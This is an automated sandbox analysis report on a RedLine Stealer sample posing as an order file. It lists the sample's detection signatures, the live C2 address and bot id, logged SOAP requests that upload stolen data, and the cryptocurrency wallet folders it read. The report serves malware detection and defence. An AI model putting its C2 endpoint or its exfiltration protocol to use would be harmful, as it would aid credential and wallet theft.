Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.13.31	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false
159.89.179.83	unknown	United States		14061	DIGITALOCEAN-ASNUS	true

Contacted Domains

Name	IP	Active
api.ip.sb.cdn.cloudflare.net	104.26.13.31	true
api.ip.sb	unknown	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://159.89.179.83:16383/	true	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	false		high
159.89.179.83:16383	true	Avira URL Cloud: safe	unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Order 20201103.exe

Avira: detected

Found malware configuration

Source: Order 20201103.exe

Malware Configuration Extractor: RedLine {"C2 url": ["159.89.179.83:16383"], "Bot Id": "gooozzzi"}

Multi AV Scanner detection for submitted file

Source: Order 20201103.exe	Virustotal: Detection: 86%			Perma Link
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Uses 32bit PE files

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.9:49685 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 159.89.179.83:16383 -> 192.168.2.9:49683

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 159.89.179.83:16383

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.9:49683 -> 159.89.179.83:16383

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 159.89.179.83:16383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 159.89.179.83:16383Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 159.89.179.83:16383Content-Length: 954091Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 159.89.179.83:16383Content-Length: 954083Expect: 100-continueAccept-Encoding: gzip, deflate

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 104.26.13.31 104.26.13.31

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83

Source: global traffic

HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027C0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.00000000027E0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002A14000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: Order 20201103.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: Order 20201103.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: Order 20201103.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20Y&
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Order 20201103.exe

Detected potential crypto function

Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271E7B0	0_2_0271E7B0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271DC90	0_2_0271DC90
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569D5C8	0_2_0569D5C8
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_056996D0	0_2_056996D0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569DAD0	0_2_0569DAD0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05694508	0_2_05694508
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569C420	0_2_0569C420
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05691210	0_2_05691210

Sample file is different than original file name gathered from version info

Source: Order 20201103.exe, 00000000.00000002.1096054991.000000000093E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe
Source: Order 20201103.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe

Uses 32bit PE files

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Order 20201103.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: Order 20201103.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/45@1/2

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBA52.tmp

Jump to behavior

Source: Order 20201103.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Order 20201103.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\Order 20201103.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Order 20201103.exe	Virustotal: Detection: 86%
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\Order 20201103.exe "C:\Users\user\Desktop\Order 20201103.exe"
Source: C:\Users\user\Desktop\Order 20201103.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: userenv.dll	Jump to behavior
